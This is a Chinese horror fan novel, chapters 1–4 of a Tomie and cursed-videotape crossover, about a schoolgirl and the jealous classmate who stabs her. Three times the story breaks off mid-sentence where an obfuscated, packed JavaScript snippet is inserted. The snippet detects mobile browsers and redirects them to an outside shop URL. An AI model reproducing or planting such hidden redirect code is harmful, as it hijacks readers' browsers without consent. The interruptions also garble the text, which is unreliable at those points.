《[综恐]我是富江》 1. 第 1 章 人类最古老而强烈的情绪,便是恐惧;而最古老最强烈的恐惧,便是对未知的恐惧。------洛夫克拉夫特 1997年7月27日,日本岐阜县 距离暑假已经没几天了,阳光为这平凡又平淡的一天增添了些许热度。 在绵延不绝的蝉鸣声中,一名撑着阳伞的少女,正顺着坡道,缓缓走出神社。 阳伞遮住了她的面容,却没遮住那垂于腰际的漆黑秀发,与白皙又仿佛吹弹可破的肌肤。 “富江!” 正在此时,一道女声盖过了蝉鸣,也让举着阳伞的少女停住了脚步。 “怎么了,月子?” 她转过身,露出了藏在伞下的,艳丽的容颜。 与少女对上视线的瞬间,叫住她的泉泽月子有一瞬间晃了神。 微微上挑的杏眸,白皙而柔软,透着粉嫩的脸颊,小巧挺翘的鼻子,以及一张就算不抹口红,也依然红润柔软的唇。配合那头乌黑又浓密的长发,以及有如神来一笔的,眼角的泪痣。 月子觉得,世界上的任何一名画师,可能都无法完全还原这份展现在她眼前的美貌。 这就是她的好友,川上富江。 不过今天月子找富江,可不是为了当面赞颂她那无与伦比的美貌的。 “你真的看了本乡给你的那卷录像带吗?” 富江歪了歪头:“录像带?本乡借过我很多,你说的是哪一卷?” 她的迟钝让月子急得一跺脚:“就是传说中会诅咒人的录像带啊!” 这是最近才在学校里流传起来的谣言,据说有一卷没有标注任何名称的录像带,只要看了就会接到一个来历不明的电话,而七天后,看了录像带的人就会死亡。 月子因为热爱摄影,通常是不相信这种谣言的,但不知道什么时候开始,这则“诅咒人七日后死亡的录像带”的恐怖谣言,却在学校越传越广。 最终,甚至连自己的同班同学都声称看过了录像带。 市面上流传的,唯一能解除诅咒的方式也很简单。那就是在七天之内,转录那卷录像带再把转录的带子给别人看。 而她的好友川上富江,很不幸的,就成为了上一个被诅咒的倒霉蛋本乡惠子选定的目标。 “诶呀月子,这世界上怎么会有诅咒的录像带嘛。” 听到泉泽月子的说明,富江咯咯地笑了起来,声音甜甜的,像是清脆的风铃。 “你也真是,这么大了还会相信这种谣言呐?” “我,我这不是担心你嘛!”被对方一笑,月子也恼了,甩手就准备离开。“既然你这么说,我不管了!” “等等。” 富江抓住了月子的胳膊,撅起嘴,晃着她的手开始撒娇。 “我跟你开玩笑呢,别生气嘛……来,我们一起去吃蛋糕吧!” 富江的手稍稍有些凉,却很柔软,风一吹,扬起的黑发中带着淡淡的香气。 看着对方的笑脸,月子心里那点怨气霎时消失得无影无踪,乖乖被拉着,离开了这个本就没几个人的神社鸟居。 其实月子一开始是不喜欢富江的。 川上富江,这个美丽的女孩是上个学期才来到他们这个学校的转学生。 她一到学校,美丽的外表便在学生之中引发了不小的骚动。但与之外表相对的,是女生们口耳相传的,川上富江那糟糕的性格。 她虽然出身隔壁市的富贵家庭,却是对方的养女。拥有堪比电影明星的美貌,性格却很恶劣,不仅抢别人的男友,甚至有传言连老师都成了她的裙下臣。 就连月子心仪的男孩,也曾经向她讨要过川上富江的照片。 为了赚点外快,月子违心地想去拍,却被对方发现了。 当时的富江并没有生气,但拒绝了她的拍摄。 泉泽月子与川上富江的缘分,也是由此开始。 在月子锲而不舍纠缠对方的过程中,她发现,川上富江与同学们传言中的“恶女”并不相同。 作为一个富人家的养女,她有些没常识,还有点天然呆,完全不明白同学之间因她而生的勾心斗角。 她虽然拒绝了月子的拍照请求,却又在每次抓包她之后请她喝茶吃蛋糕,还会请教她摄影技巧。 是转性了?还是从一开始就只是他人的捕风捉影? 等月子反应过来的时候,自己也就成了川上富江的好闺蜜了。 “所以为什么本乡同学一定会把诅咒录像带给我呢?” 坐在咖啡店,月子一脸无语地看着她:“你是真不知道?还是在跟我装傻?” “……什么?” “你转学来不到一个月,本乡惠子的男朋友就和她分手了。” 其实当时有传言,是富江横刀夺爱,但作为当事人的男生坚决不承认,只说是自己移情别恋。 当然,后来他也没能和富江交往太久。但即使被甩了,对方如今却也依然是富江最忠实的追求者之一。 “是这样啊。” 学校里狂热追求富江的男生很多,她一时半会儿也无法回忆起到底谁是本乡惠子以前的男朋友。 “但我现在并没有和什么人交往。” 说来也巧,差不多就是在和泉泽月子做朋友前的一周左右吧,富江不小心从家里的楼梯上摔下去,磕到了头,连带着记忆也有些模糊了。 万幸的是,家里除了重病在床的父亲之外,还有一名姐姐以及两位佣人。所以即使失忆,富江也很快接受了自己的现状。 她请了几天假,回来之后就认真地拒绝了每一位声称自己之前有和她交往的男性。 当然,关于这个磕到头失忆的说法,大多数对富江抱有恶评的人是不信的。不过月子是在事后才认识对方,也就无从评价这些轶闻究竟如何了。 “是没交往,但对方也没和本乡重修旧好啊。”月子轻轻用小勺敲打着杯口。“所以她完全有理由记恨你。” “……嗯……” 看富江还是一副似懂非懂的样子,泉泽月子双手一摊,靠在沙发上。“所以啊,如果真的收到什么奇奇怪怪没有名字的录像带,千万别看啊!” 她这副千叮咛万嘱咐的样子逗笑了美丽的少女。“好,好。”富江说着,从座位上站起身,挤到了好友身边。“谢谢你啊,月子。” 她的声音软软的,撒起娇来尾音微微上翘,像是猫咪一样。别说男人,连月子这样的女生听了都心软得一塌糊涂。 没过多久,本乡惠子和诅咒录像带的事就被她撇到脑后,取而代之的,是与富江在商店街愉快的游玩。 一逛街时间就过得飞快,等二人从百货大楼走出来,夕阳的余晖已经染红了半边天。 是回家的时间了。 “后天学校见,月子。” “啊,等等。” 富江回过头来,看向好友月子:“怎么了?” “……回家小心点哦。” 见好友如此关心自己,黑发的女孩开心地笑了起来。 “好啊,我会小心的。” 自从转来这座学校后,泉泽月子是唯一一个如此关心富江,也愿意和她做朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309678|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友的女生。 富江非常珍稀这段友情。 “我回来了。” 川上富江所住的大宅距离商店街不远,是一栋三层带有大院子的西式别墅。 “欢迎回来,富江小姐。” “谢谢你,保子小姐。啊,对了,这是给你和凌叔叔买的点心。” 沉默寡言却异常可靠的女仆从少女手中接过她今天买的东西,闻言一愣,抬头看着她。 和女仆对上视线,富江垂下眼帘,显得有些羞涩:“因为不知道你们的口味,所以我就听了月子的建议,每个味道都买了几种……” 对于富江来说,只比她大不到十岁的中村保子虽然是这个家的佣人,却是一个宛如姐姐一般的存在。 长姐去世,父亲卧床不起,她的另一位姐姐虽然是个美人却性格怪异脾气暴躁,富江自己则还在上学。 如果没有中村保子和小泉凌这两位佣人,这个家说不定早就分崩离析了。 “凌叔叔呢?” “租户那边出了一些事,小泉先生去处理了。” “就那个丑八怪还有脸出去见人?别让我发笑了!” 正在二人说话的时候,屋内忽然响起了第三个有些尖利的女声。 “每次见到那个丑八怪和这个女仆,我就作呕!还有你,小偷,小偷!!” 富江抬起头,看向通往二楼的楼梯。 “姐姐……” 上面站着的,是这个家中的二小姐,也是她的姐姐。 她与富江一样,有着非常艳丽的面容,乌黑的长发,但和女孩不同,这个女人的表情充满恶意,说的话也非常难听。 “你这个丑八怪小偷,怎么还不去死啊!怎么?我有说错吗?一副受害者的模样,真让我恶心。” “对不起……” “道歉有用的话,还要警察有什么用!”面对富江的退让,她非但没有领情,反而变本加厉。“那个老头马上就要死了!你这么喜欢他,干脆去坟墓里陪他怎么样?” 像是没听到二小姐的叫骂一般,保子朝身旁的女孩微微一鞠躬:“富江小姐——” “你怎么说我都可以,但你不能这样说爸爸!” 然而还没等她说完,川上富江皱着眉头,大声打断了自己姐姐的讥讽。 “他是个好人,如果没有他我们也不可能被领养。而且他也没有快死了,只是生病了而已。” “不是领养我们,是领养了我!” 楼梯上的女人发出了愤怒的尖叫,顺手将一旁的东西砸倒。 “你这个不要脸的吸血虫,这些东西都是我的!不是你的!早点和那群丑八怪一起滚吧!” 她的叫骂不断在屋内回响,富江沮丧地垂下头:“对不起啊保子小姐,姐姐她又这样了。” 自从家里来了两个佣人后,她这位姐姐的性格愈发捉摸不定,叫骂是正常的,严重点还会砸摔东西。 “也不知道爸爸什么时候能好……还有姐姐,真希望能和她搞好关系。” 说着,富江有些担心自己卧病在床的养父,走上了楼梯。 她并没有看到,站在自己身后手提名贵点心,面对叫骂也一声不吭的女仆,望着她的背影的表情。 那是一个非常复杂的神情,夹杂着恶意,恐惧,厌恶,甚至还有一点悲哀。 眼看着富江的身影消失在了二楼的走廊,女仆缓缓张开口: “你的愿望是不会实现的。” 整间屋子又一次变得静悄悄了。 就像是没有任何人来过一样。 2. 第 2 章 屋漏偏逢连夜雨,和姐姐吵架之后的第二天,刚来到学校,川上富江就被老师叫到了办公室。 “是这样的川上同学,还请先冷静地听我说。” 和她谈话的是一位面目和蔼的年轻女老师。 “昨天晚上三年级B组的大田死了。” “……诶……?” 虽然因为摔了一跤不记得很多东西,但这个人的名字她还是知道的。 他都是富江之前伤愈回学校后,很正式地拒绝了告白的男同学。 是本乡惠子的前男友。 “这……怎么会这样?发生什么事了?” 与富江谈话的女老师面露难色:“大田他是昨天晚上死在了一个小巷里。” 女老师报了个地址名,富江的心跳了一下。 那是她家附近的一条小路。 “有人说,他是因为去找你才会死的,川上同学有什么头绪吗?” 说完,女老师慌忙摆了摆手。 “哦,当然校方不是怀疑你,因为大田同学的死因已经被查明了,是心脏麻痹。” 这名男高中生是入夜后,因心脏麻痹死在川上富江家附近的。 即使如此,他的死亡依然充满谜团。 首先,同一时刻作为大田好友的另一名也死在了家中,死因同样是心脏麻痹。这两名男学生在之前并未患有与心脏相关的疾病,家族也没有遗传病史。 其次,就是声称男学生之死与川上富江有关系的学生。 女老师面露难色,虽然没有说名字,但很明确的告诉富江,对方现在精神不是很稳定,并且将所有的错误都归咎到了她头上。 “是本乡同学吗?” “为什么这么问?”女老师没有直接回答她的问题。 “因为本乡同学是大田前辈的前女友……” 富江本来还想再说一些关于诅咒录像带的事,又想到了自己的好友月子。 她脑子里一团乱,只能低下头,无措地捂住脸:“怎么会变成这样呢?” 通红的杏眼被泪浸得水汪汪,泪珠顺着光滑的脸颊滴落在百褶裙上,晕成一团。因为抽噎,女孩白皙的脸蛋浮现出了淡淡的粉色。 整个办公室都骚动了起来。 “冷静点,川上同学,老师们还在。”众人纷纷安慰起了她。“警察他们一定会把事情查清楚,所以不要伤心了,好吗?” 本来这次把川上富江叫到办公室也没有别的意思,只是为了提醒一下这位从转学开始就变成学校风云人物的女孩。 如今看来,她并没有嫌疑了,反而更像是一名受害者。 不过就算老师们有意保密,这场死亡依然无可避免地成为了爆炸性新闻。 而川上富江,也再次成为了全校学生注意的焦点。 “富江!” 她一回教室,就看到泉泽月子已经一脸担心地从自己的班级赶了过来。 “我听说老师把你叫到办公室去了,没事吧?” 川上富江摇了摇头:“我没事。” 月子本来还想详细问问,察觉到四周学生们的目光,她眉头一皱,拉起黑发女孩的手就走。 马上就要上课了,这个时候屋顶一向人很少。 很适合作为秘密谈话的基地。 “大田和今川死了。”月子的脸色很难看,“老师叫你说的也是这件事吧?” “嗯,而且大田前辈的死亡地点是——” “我知道,在你家附近,死亡时间是昨天晚上8点。” 这下轮到富江愣住了。“为什么月子知道的这么清楚?” “因为是我发现的。” 月子抖了一下,富江才感觉到,她的手像冰块一样凉。 “我……看到了大田的尸体。” 从月子的叙述中,富江得知了整个事件的来龙去脉。 其实这个故事还要从那个恐怖的必死录影带说起,在她们二人得知这个消息之前,录影带的传言很早就在三年级的学长学姐中流传。 大田和今川一起看了那个传说中的带子,就他俩在死亡的一周前的那个晚上。 两个男生一开始本来是不怕的,但经过调查,发现真的有其他看过录像带的人死了,他们二人便越来越恐惧。 “本乡似乎为了救大田前辈,自己看了翻录的带子。” 之后的事,月子和富江就知道了。本乡惠子并不想死,所以也翻录了录像带,并且将它借给了富江。 好巧不巧,这件事被大田知道了,两人在校外大吵了一架,被偶然路过的泉泽月子听到。 昨天那个时间点,她刚好和富江逛完街,在回去的路上看到了吵架的二人。 那天的大田就像是着了魔一般,告诉本乡自己要去救富江,不能让诅咒伤害到她,说完就跑了。 “我有点担心大田前辈,去了他家发现对方没回去,就自己去找。” 最终,在川上富江家附近,她找到了死亡的大田。 作为案发现场目击证人的月子被警察盘问了半宿,今天一来学校就想把这些情况告诉富江。 “难道是因为我没看那卷翻录的带子,所以大田前辈才会——” “别胡思乱想!”泉泽打断了富江,“照理说本乡看了翻录的带子,大田就不会死了,怎么样都和你没关系。” 说着,她扶住了黑发女孩的肩膀:“而且诅咒录像带什么的,根本就是无稽之谈,都是谣言啊对吧?” “……嗯……” 月子看着心事重重的富江,自己内心也有些沉重,因为她向这个女孩隐瞒了一些事。 比如大田前辈死时的样子。 他死亡的时候眼睛睁得大大的,一脸惊恐。就像是看到了什么恐怖至极的东西一样。 又比如这场事件中的另一个当事人本乡惠子,其实她是第一发现人,但这女孩看到大田死了,整个人陷入了癫狂状态,将所有的错都归咎到了富江头上。 “都是因为她!都是因为富江!再这样下去所有人都要死!” 本乡惠子被医护人员带走时,那怨毒的声音还回荡在月子耳边,让她整宿都没睡好。 但那也与她们无关,毕竟本乡惠子包藏祸心,而富江也根本没看过那个被诅咒的录像带。 有些事还是不要深究为好。 但富江却不这么想。 整整一天,她都浑浑噩噩,挨到了放学,她便一阵风似地回了家。 心事重重的女孩没有注意到,自己身后,一直有一个穿着黑衣,戴着兜帽的身影跟着。 “……为什么……” 看着行色匆匆的川上富江,跟踪者喃喃道。 “为什么我看了带子,他还是死了?” 道路转角的镜子映照出了兜帽人的面容,那是一个棕色卷发,面色惨白的女孩。 如果泉泽月子在,或是富江转身,就会惊讶地发现,这名眼神阴郁充满了仇恨的人,就是之前借出了录像带的本乡惠子。 也是昨晚命案的第一发现人。 此时此刻,本乡惠子盯着富江的背影,宛如着了魔般,一边咬着指甲一边喃喃道:“如果不是你……如果没有你的话……” 而女孩藏在衣袖中的另一只手里,赫然握着一把锋利的美工刀!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309679|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她一路跟踪着富江,看着女孩走进了那幢华丽却有些阴森的大宅,狠狠握紧拳头。 “还不是时候……” 本乡惠子似乎已经有些魔怔了,看着那铁门,一会儿像是要哭,一会儿却又笑了起来。 “给我等着吧,你这狐狸精!” 而这些,一回家就把自己关在了卧室的富江一无所觉。 她现在有更重要的事情做。 富江把由女佣整理好的,所有的录像带都翻了出来,堆在地上,一盘一盘地找着。 她在找那盘传说中的诅咒录像带。 “你这小偷,又把我的房间搞得这么乱!” 女孩抬起头,看到了自己的姐姐。不知道什么时候,这个长相同样艳丽的女人出现在了屋内,居高临下地看着她。 “看什么录像带啊,没品死了!” 富江看着玩弄自己长发的姐姐,低下头,轻声道:“……大田前辈死了。” “那是谁?” “学校的同学,是三年级的学长。”她将检查过的录像带整齐地放在一边。“以前告白过的。” “哼,反正也是什么不重要的家伙。” 富江整理带子的手停住了。 “姐姐,不能这么说人家。” “哈?” 富江的姐姐愣了一下,随即就像是被戳中了什么痛处一般爆发了。 “你居然敢顶嘴?忘记是谁把你从那种地方带出来了吗?吃里扒外的家伙!” 说着,她像是不解气,走过来一脚踹倒了富江码好的录像带。 “那种烂男人死了就死了,怎么样?死得好啊,我还嫌他们纠缠不休呢!” 做完了这些,她不解气,继续围在富江身边:“还有你,你以为学校里那些女生是真心和你做朋友?” 女人笑了,她把头枕在女孩的肩膀上,声音尖利又刺耳:“那些丑八怪,都是在等着看笑话,等着在背后捅你一刀!” 富江没有回话,任凭女人嚣张的笑声充斥着整个房间,继续沉默地翻找着已经被搞得乱七八糟的录像带。 终于,她看到了一盘没有塑封,边上也没写任何文字的,看上去有些新的黑色录像带。 昏暗的灯光下,冷冰冰的带子泛出模糊的光泽。 恍惚间,富江在录像带上看到了一个模糊的倒影。 但等她集中精神,倒影又变成了天花板上吊灯发出的光。 笑声不知道什么时候停了下来,姐姐也不见了。 富江捏着那盘录像带,咽了咽口水,将它插进了放在一旁的机器里,然后打开了电视。 这是一卷非常奇怪的录像带,里面只有一些非常模糊,甚至不连贯的画面。 她看到了对着镜子梳头的女人,漂浮移动的字体,奇怪的人,占据一整个屏幕的眼睛。 最终,画面定格在了一处远景上,屏幕的正中央出现了一口井。 忽然,富江心中腾升起了一种怪异的感觉。 耳边响起了什么人的窃窃私语,她的心跳加快了,呼吸变得急促,整个房间似乎也变得热了起来。 鬼使神差地,女孩伸出了手,轻轻抚摸着电视屏幕上的那口古井,她的脸颊泛起淡淡的粉色,柔软的指尖来回在屏幕上滑动,脸也越凑越近—— 下一秒,屏幕忽然变黑,古井消失了,但富江却在屏幕上看到了一张正在笑的脸。 女孩笑得非常陶醉,眉眼弯弯,艳丽的五官像是绽放的花。 像是见到了什么喜爱之物一般,眼中泛着爱意。 她的眼角有一颗泪痣。 那是富江自己的脸。 3. 第 3 章 急促的电话铃声将女孩恍惚的意识猛拉回了现实,富江看向自己房间中不断响起的电话,又想起了月子说的话。 看完那盘录像带,电话会响,但接起来以后没人说话,只能听到一些杂音。 再之后过七天,看过录像带的人就会死。 电话还在响,似乎完全没有断掉的意思。川上富江深吸一口气,接起了电话。 “……喂?” 对面没有人声,只有一些奇妙的杂音,就像是录像带里的声音一样。 富江刚准备说什么,忽然,卧室的门被猛地撞开—— “小姐!不好了!” 是保子,不知道为什么,一向冷静木讷的她一脸惊慌地冲了进来。 “老爷他情况不妙!” 这下富江也顾不上什么诅咒录影带了,电话一丢就跟着保子一同跑了出去。 今夜注定是个不眠之夜。 管家不在,虚弱的养父突发急病,富江和家里的佣人连忙打了急救电话,一同将老人送去了医院。 她在冷冰冰的医院待了一整晚,天蒙蒙亮的时候老人脱离危险,才在女佣的陪伴下离开。 第二天,顶着淡淡的黑眼圈去上学的富江,在好友月子的逼问下没忍住,说出了整件事的来龙去脉。 “什么?!你看了录像带?你怎么能看那个录像带!!” 月子几乎是在得知真相的瞬间就尖叫出声,声音响彻整个顶楼。 “我都说了那个东西不对劲,你,你——” 她想发火,看到富江红彤彤的眼睛,又舍不得打她,只能烦躁地来回踱步,把自己的短发揉得乱糟糟。 “现在本乡也不见了,老师今早跟我说她离家出走了。” 之后她会干什么简直不敢想象。 “你知不知道自己在干什么?” “知道。”出乎意料的,富江这么回答。“我只是在完成本乡同学的愿望而已。” 有一瞬间,月子没有理解她在说什么。 “其实我知道大家都不喜欢川上富江。”女孩垂下眼帘,似乎在笑,又似乎没有。“无论如何,我还是想弥补一下……” 富江的声音逐渐变小,被恰好响起的铃声掩盖住了。 “什么?” 月子没有听清。 “月子呢?为什么要这么帮我?” 泉泽月子一愣,随即有些生气:“还用说吗?因为我们是朋友啊!虽然你以前是不受女生欢迎,我承认我当初接近你也抱着其他目的,但是——” “但是我们现在已经是朋友了,不是吗?” 见富江还楞楞地看着自己,她深吸一口气,一不做二不休道:“总之……这两天我会一直陪着你的!” 老师并不相信失踪的本乡会对富江不利,因为事关诅咒录像带而且死人了,其他同学也都像躲瘟疫一样躲着她们。 只能靠自己了。 就在月子下定决心,准备继续劝说朋友的时候,一直看着她的富江展开双臂,忽然将她抱在了怀里。 “……我好高兴……” 富江的身体很柔软,月子甚至闻到了她身上淡淡的,好像是从皮肤中透出来的,幽幽的香气。 “谢谢你,月子。真的,真的很谢谢你。” “你一定会获得幸福的。” 放学后,二人没有在外面闲逛,直接回到了富江家的大宅。 第一次来这位好友家,虽然之前有所耳闻,但当那幢阴森的古宅展现在眼前时,泉泽月子还是惊了一下。 整幢大屋主要为石质结构,风格也偏西洋,内部装潢并不陈旧,暗红色的地毯上有由金与白勾勒而成的花纹,看上去就很贵。 “这里平时就住着我们几个,屋子太大保子小姐一个人忙不过来,就只收拾了一楼和二楼的房间。” 可能是因为第一次请朋友来家里,川上富江显得有些兴奋。 “地下室现在主要是储藏室,三楼的话堆着很多旧家具都是灰,就不要进去了。” “啊,不过月子要是对铠甲什么的感兴趣的话,我可以带你看看。那些好像是爸爸家里流传下来的古董。” 说到这,她似乎回忆起了躺在医院的养父,笑容变淡了。 “要是大姐姐还在就好了……” “大姐姐?” “是爸爸的亲生女儿,不过现在已经去世了。” 说着,富江拿起五斗柜上的一副照片给月子。 上面站着一位络腮胡子,戴着圆眼镜的老人,以及一位衣着打扮靓丽,长发微卷的美丽女性。 “我们来到这个家没多久,姐姐就去世了。” “诶?这么年轻?” “嗯。”说这话的时候,富江刚好转身把照片放回桌上,所以月子没看到她的表情。“因为一场意外。” 之后的事就很容易联想了,失去爱女的老人悲痛过度一病不起,只剩下作为养女的富江与两名仆人照顾着他。 不过这家人家原本就是有名的大财主,就算老人生病,也依然有一笔可观的存款供他们一家人生活。 作为佣人的保子小姐很心细,就算人在医院照顾病人,也给家中的富江留了字条和已经准备好的饭菜。 富江一如既往没什么压力,反倒是作为帮手的月子,精神紧绷着一直等到了晚上。她甚至和富江一起把大宅的几道门都锁上了,就怕有人潜进来。 晚饭也没有在餐厅吃,而是拿到了富江的卧室。 “我觉得本乡同学不是太坏的人……” “你就是对人太好。”月子戳着女孩的脑门,坐在桌前吃着三明治,眼睛扫向摆放在地上的录像带。“唉,说你什么好……所以那个诅咒录像带里面到底是什么?” “就是很杂乱的画面,一会儿是一个女人在梳头,一会儿是很乱的字,最后画面上有一口井。接到的电话里也没有声音。”富江拿叉子戳了戳碗里的沙拉,“啊,不会给月子看的哦。” 月子冷酷地哼了一声:“这会儿怎么知道不能看了,你到底怎么想的!” “嘿嘿……” 看某个当事人非但不害怕还在傻笑,她简直气不打一出来。 按照时间推算,本乡看录像带的时间也差不多要到7天了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309680|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不管诅咒是不是真的,富江看了录像带对她有没有影响,泉泽月子觉得本乡一定会在第七天之前做些什么。 “其实我是第一次邀请朋友到家里来。” 就在月子心事重重的时候,一旁的富江忽然道。 “凌叔叔不希望我和学校的同学走太近,姐姐脾气又不好……能跟月子做好朋友真的是件很幸运的事。” 因为注意力很集中,女孩马上注意到了对方话里蹊跷的地方。“诶?” 她记得富江说过,这个家的大小姐已经去世了。 然而还没等月子追问,窗外忽然闪过一道光,几秒后,整间屋子陷入黑暗的同时,一道炸雷震得二人的耳朵嗡嗡作响。 “怎么回事?!” 灯灭掉的瞬间,月子猛然起身。突然变黑的环境让她陷入了短暂的失明状态。 “冷静点月子。”万幸的是富江一直站旁边,在月子一个趔趄的时候扶住了她。“可能是打雷把保险丝烧断了,以前就出过这个问题。” 偏偏是这个时候出问题?! “没关系,把新的换上去就好了。” 月子都要吓死了,偏偏另一个当事人还好言好语地安慰她,并且有些跃跃欲试。 “保子小姐原来换过一次保险丝,我当时在旁边看着,所以也会换哦。” 家里的手电筒在杂物间,泉泽月子挽着富江的胳膊,在一片漆黑的大屋中,借着闪电的微光摸索着前进。 没了灯,这座古朴的大宅更加阴森了。摸索着前进的过程中,月子好几次都把窗帘的阴影错认,咬着牙才没尖叫出声。 这回,富江那种傻乎乎不知道害怕的精神状态反而变成了一种奇妙的安定剂。并且,她作为这个家的住户,也给月子找东西提供了很大的帮助。 在杂物间摸到两个手电后,二人调转方向,走向了电闸的所在地——大屋的配电室。 然而当泉泽月子走出杂物间,手电的橙色光柱射向长廊的瞬间,她瞥见了一道模糊的黑影。 黑影消失的速度太快,月子甚至怀疑是自己的眼睛出现了错觉,又或是雨夜的树影被她错认成了人影。 “诶呀。” 几分钟后,富江的惊呼声,提高了女孩心中的不安感。 “门怎么是开着的?” 狭小的配电室内,短发女孩脸色沉重地看着已经被破坏得稀巴烂的配电箱。 宅子的突然断电根本不是闪电造成的,而是有人故意破坏了电箱。 “月子……你,你没事吧……?” “赶快离开这里。” 月子二话不说就拉着富江往回走,边走边道:“什么都别管了,拿上钥匙,我们先在就离开——” “要去哪?” 屋内猛然响起一道嘶哑的女声,两道手电的光打过去,配电室的门口赫然出现了一道穿着黑色卫衣的人影。 炸雷声响起,灯光下,面色惨白的本乡惠子瞪着一双乌黑的眼睛,一眨不眨地看着月子与富江。 “我还要找川上同学聊聊呢,别走啊。” 她的右手,还握着一把泛着冷光的刀。 4. 第 4 章 “快跑!” 几乎是瞬间,月子将握着的手电朝着对面狠狠砸去,拉着好友就跑。 本乡惠子被手电砸了个正着,趔趄了一下,给了两个女孩逃生的机会。 但她很快就爬了起来,看着二人逃跑的方向阴恻恻地笑了。 而另一边,富江拿着的手电成了仅剩的光源,伴随着雷鸣,两个女孩在长廊中奔跑着。 “抱歉富江,我瞒着你了一些事。” 富江被月子拉着,听到好友气喘吁吁地说。 “其实发现大田尸体的第一个人不是我,但那个时候本乡她精神已经不正常了!” 然而还没等富江开口,跑在她前面的少女忽然猛地向下摔去,连带着富江也倒在了地上。 “痛……!怎么回事?!” 月子一低头,就看到了地板上被人为弄出的障碍物。 二人摔做一团,本乡惠子则握着刀和手电,脸上挂着狂喜的笑,沿着长廊朝她们的方向狂奔。 “哈哈哈哈跑不掉!你们一个都跑不掉!!!” “她过来了!” 月子自然也看到了握着凶器已经看似疯癫的同学,她想站起身拉着富江一同逃跑,脚腕却传来剧痛。 她脚崴了。 “你快走!” 电光火石间,月子做出了决定,奋力推了好友一把。 “她的目标是你不是我,快逃啊!” 富江被泉泽月子的气势吓到了,再加上身后如鬼魅一般的本乡,她带着哭腔“嗯”了一声,离开了好友。 漆黑的大屋内,富江上气不接下气地跑着,终于来到了大门前。 然而当她转动门把手,却发现,大门不知道为何打不开。 “……诶?” “你是笨蛋吗?那女人肯定从外面把门堵住了!” 尖利的女声陡然响起,富江回过头,看到了自己那尖酸刻薄的姐姐。 此刻,女人正幸灾乐祸地站在二楼的长廊上看着她。 “姐姐……” “哈哈,让你平时做好人。” 被富江称为姐姐的女人似乎并没有对家中有人入侵一件事感到恐惧,反而对着自己的妹妹极尽嘲讽。 “那些家伙根本不会对你感恩戴德,只会更嫉妒你。” 富江握着手电,脑海中全是月子决绝的表情。 她摇了摇头:“不是这样的,姐姐,月子就对我很好。” “那是因为她不知道你是个什么东西。”女人眯起眼,恶毒地笑了。“你就是个谎话连篇的小偷,是这个世界上最丑陋的丑八怪,嘻嘻嘻,哈哈哈哈!” “可是,可是明明是姐姐你让我————” “一个人自言自语什么呢?” 富江回过神来,眼前赫然出现了本乡惠子青白的脸。 她腹部一痛,下意识低下头,看到了衣服上浮现的红色,以及那柄扎进了自己身体内的,闪着冷光的刀。 本乡惠子的背后,走廊上那个美艳的女人张狂地笑了起来。 “哈哈哈哈哈!活该!活该啊!怪物!早点死吧!” ------------------------------------- 泉泽月子是被雷声惊醒的。 她感觉自己的脑袋嗡嗡作响,还很疼,但很快,女孩就想起来自己身在何方。 她想拦住身为同班同学的本乡,让她不要做傻事,结果却被对方打到头昏了过去。 月子失去意识前听到的,是同班同学愤怒的咆哮。 “怎么可能和川上富江无关!你这个什么都不知道的蠢货就不要在这里说三道四!!” “……富江?!富江呢!” 凭借着一口气,月子忍着剧痛爬到了墙边,扒着柱子站了起来。 感觉脑袋上湿漉漉的,她用手擦了一把,闻到了一股铁锈味。 必须要打电话报警,要阻止本乡惠子,要逃出这里! 求生的本能驱动着泉泽月子,让她拖着一只不能动的脚,不断前进着。 长廊的尽头,是通往一层的楼梯,女孩连走带爬地来到楼梯口,却听到了一个诡异的声音。 像是什么人的呜咽,夹杂着模糊的钝响。 然后,她看到了富江。 那个被她保护的,傻乎乎的女孩此刻正浑身是血地躺在地上。 “都怪你!如果没有你!如果没有你!” 而本乡惠子,她骑在川上富江身上,一边用自己手中的刀狠狠捅向地面的女孩子,一边又哭又笑地喊叫着。 “你这狐狸精!划花你的脸,看你还有什么资本勾引别人!” “富江?!” 呼喊惊动了魔怔的本乡惠子,她抬起沾满鲜血的脸,看到了一直在阻碍自己的女同学。 “你居然没有死。” “你在干什么惠子!你杀人了啊?!” “是啊!我给响君报仇了!终于杀了这个贱女人!” 看着惊慌失措的泉泽,本乡惠子怒从心头起,拿着刀站起身,朝她的方向走过去。 “而你,你居然还袒护富江!袒护这个凶手!” “大田是看了诅咒录像带才死的,和富江有什么关系!” 然而对方听到这话,反倒笑了起来:“所以我说你是蠢货啊,什么都不知道,被那个女人骗得团团转。” “什——” “本来诅咒录像带就是川上富江最先提起来的。响君他们只不过是想向她表现一下!” 